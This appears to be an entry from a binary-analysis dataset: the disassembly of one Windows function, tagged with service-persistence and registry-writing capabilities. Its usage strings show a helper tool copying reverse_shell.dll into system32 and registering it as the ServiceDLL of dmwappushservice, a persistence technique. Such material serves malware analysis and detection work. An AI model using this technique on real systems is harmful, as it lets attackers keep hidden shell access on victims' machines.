Function at 0x401550
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402a0d
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp dword [ebp + 8], 4
mov dword [ebp - 4], esi
jl 0x4015e4
mov eax, dword [edi + 4]
mov ecx, str.regwrite
mov dl, byte [eax]
cmp dl, byte [ecx]
mov byte [ebp - 0x31], dl
mov edx, dword [edi + 4]
jne 0x4015d1
cmp byte [ebp - 0x31], 0
je 0x4015cd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
mov byte [ebp - 0x31], dl
mov edx, dword [edi + 4]
jne 0x4015d1
add eax, 2
add ecx, 2
cmp byte [ebp - 0x31], 0
jne 0x4015a1
xor eax, eax
jmp 0x4015d6
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401906
cmp dword [ebp + 8], 6
je 0x40163a
push str.Usage:_n
call fcn.00401040
push dword [edi]
push str._t._s_filewrite__src_path___dst_path__n
call fcn.00401040
push dword [edi]
push str._t._s_regwrite__hkey___subkey___value_name___data__n_n
call fcn.00401040
push str.Examples:_n
call fcn.00401040
mov eax, dword [edi]
add esp, 0x18
push eax
push str._t._s_filewrite__C:Temp_reverse_shell.dll___C:Windows_system32_reverse_shell.dll__n
call fcn.00401040
mov eax, dword [edi]
push eax
push str._t._s_regwrite_hklm__SYSTEMCurrentControlSetServicesdmwappushserviceParameters__ServiceDLL___C:Windows_system32_reverse_shell.dll__n_n
call fcn.00401040
add esp, 0x10
mov esi, 1
jmp 0x401a62
mov edx, dword [edi + 0x14]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401645
sub ecx, dword [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x4c]
call fcn.00401330
lea ecx, [ebp - 0x28]
add esp, 4
cmp ecx, eax
je 0x401687
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18], xmm0
mov esi, dword [ebp - 0x18]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x4016bd
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4016b3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4016b3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00401c90
add esp, 8
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
mov dword [ebp - 0x3c], 0
cmovae eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x30], eax
cmp esi, 0x10
jae 0x4016f1
movups xmm0, xmmword [eax]
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], 0xf
movups xmmword [ebp - 0x4c], xmm0
jmp 0x40175b
or esi, 0xf
mov eax, 0x7fffffff
cmp esi, eax
cmova esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x40172b
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401ab7
push ecx
call fcn.00401c60
add esp, 4
test eax, eax
je 0x4016ad
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
jmp 0x40173e
test eax, eax
je 0x40173c
push eax
call fcn.00401c60
add esp, 4
mov ecx, eax
jmp 0x40173e
xor ecx, ecx
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x4c], ecx
push eax
push dword [ebp - 0x30]
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], esi
mov eax, dword [edi + 8]
mov edx, str.hklm
mov esi, dword [edi + 0x10]
mov ecx, eax
mov dword [ebp - 0x30], eax
nop dword [eax + eax]
mov al, byte [ecx]
cmp al, byte [edx]
mov byte [ebp - 0x31], al
mov eax, dword [ebp - 0x30]
jne 0x4017a0
cmp byte [ebp - 0x31], 0
je 0x40179c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
mov byte [ebp - 0x31], al
mov eax, dword [ebp - 0x30]
jne 0x4017a0
add ecx, 2
add edx, 2
cmp byte [ebp - 0x31], 0
jne 0x401770
xor ecx, ecx
jmp 0x4017a5
sbb ecx, ecx
or ecx, 1
test ecx, ecx
jne 0x4017b0
mov eax, 0x80000002
jmp 0x4017e7
mov ecx, str.hkcu
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4017d5
test dl, dl
je 0x4017d1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4017d5
add eax, 2
add ecx, 2
test dl, dl
jne 0x4017b5
xor eax, eax
jmp 0x4017da
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4018c1
mov eax, 0x80000001
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0
push 2
push 4
push 0
push 0
push dword [edi + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40185d
push str.____Error_while_opening_the_registry_key_n
call fcn.00401040
mov edx, dword [ebp - 0x38]
add esp, 4
cmp edx, 0x10
jb 0x401846
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40183c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401900
push edx
push ecx
call fcn.00401c90
add esp, 8
push str.____Failed_to_write_in_registry_n
call fcn.00401040
add esp, 4
mov esi, 1
jmp 0x401a62
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
cmovae ecx, dword [ebp - 0x4c]
inc eax
push eax
push ecx
push 2
push 0
push esi
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x401887
push str.____Error_while_setting_value_into_registry_key_n
jmp 0x40180a
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x4018b7
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4018ad
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401900
push edx
push ecx
call fcn.00401c90
add esp, 8
push str.___Success_writing_into_registry_n
jmp 0x401a58
push str.____hkey_not_supported_n
call fcn.00401040
mov edx, dword [ebp - 0x38]
add esp, 4
cmp edx, 0x10
jb 0x401846
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40183c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40183c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov ecx, str.filewrite
mov eax, edx
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
mov byte [ebp - 0x31], dl
mov edx, dword [edi + 4]
jne 0x401940
cmp byte [ebp - 0x31], 0
je 0x40193c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
mov byte [ebp - 0x31], dl
mov edx, dword [edi + 4]
jne 0x401940
add eax, 2
add ecx, 2
cmp byte [ebp - 0x31], 0
jne 0x401910
xor eax, eax
jmp 0x401945
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401a60
cmp dword [ebp + 8], 4
je 0x4019a4
push str.Usage:_n
call fcn.00401040
push dword [edi]
push str._t._s_filewrite__src_path___dst_path__n
call fcn.00401040
push dword [edi]
push str._t._s_regwrite__hkey___subkey___value_name___data__n_n
call fcn.00401040
push str.Examples:_n
call fcn.00401040
push dword [edi]
push str._t._s_filewrite__C:Temp_reverse_shell.dll___C:Windows_system32_reverse_shell.dll__n
call fcn.00401040
push dword [edi]
push str._t._s_regwrite_hklm__SYSTEMCurrentControlSetServicesdmwappushserviceParameters__ServiceDLL___C:Windows_system32_reverse_shell.dll__n_n
call fcn.00401040
add esp, 0x28
mov esi, 1
jmp 0x401a62
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4019a7
sub edx, ecx
xor ecx, ecx
mov dword [ebp - 0x30], edx
lea esi, [edx + 1]
mov edx, 2
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00401c9e
push dword [ebp - 0x30]
mov dword [ebp - 0x54], eax
push dword [edi + 4]
push esi
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov ecx, dword [edi + 8]
add esp, 0x18
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4019f0
sub ecx, edx
mov edx, 2
mov dword [ebp - 0x30], ecx
lea edi, [ecx + 1]
xor ecx, ecx
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00401c9e
push dword [ebp - 0x30]
mov esi, eax
mov eax, dword [ebp - 0x50]
push dword [eax + 8]
lea eax, [ebp - 0x2c]
push edi
push esi
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov ecx, dword [ebp - 0x54]
add esp, 0x18
mov edx, esi
call fcn.004011e0
test al, al
jne 0x401a53
push str.____Failed_to_write_file_n
call fcn.00401040
add esp, 4
mov esi, 1
jmp 0x401a62
push str.___Success_writing_file_n
call fcn.00401040
add esp, 4
xor esi, esi
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x401a9a
mov ecx, dword [ebp - 0x28]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x401a90
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401a90
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00401c90
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401c4a
mov esp, ebp
pop ebp
ret
call fcn.00401130
int3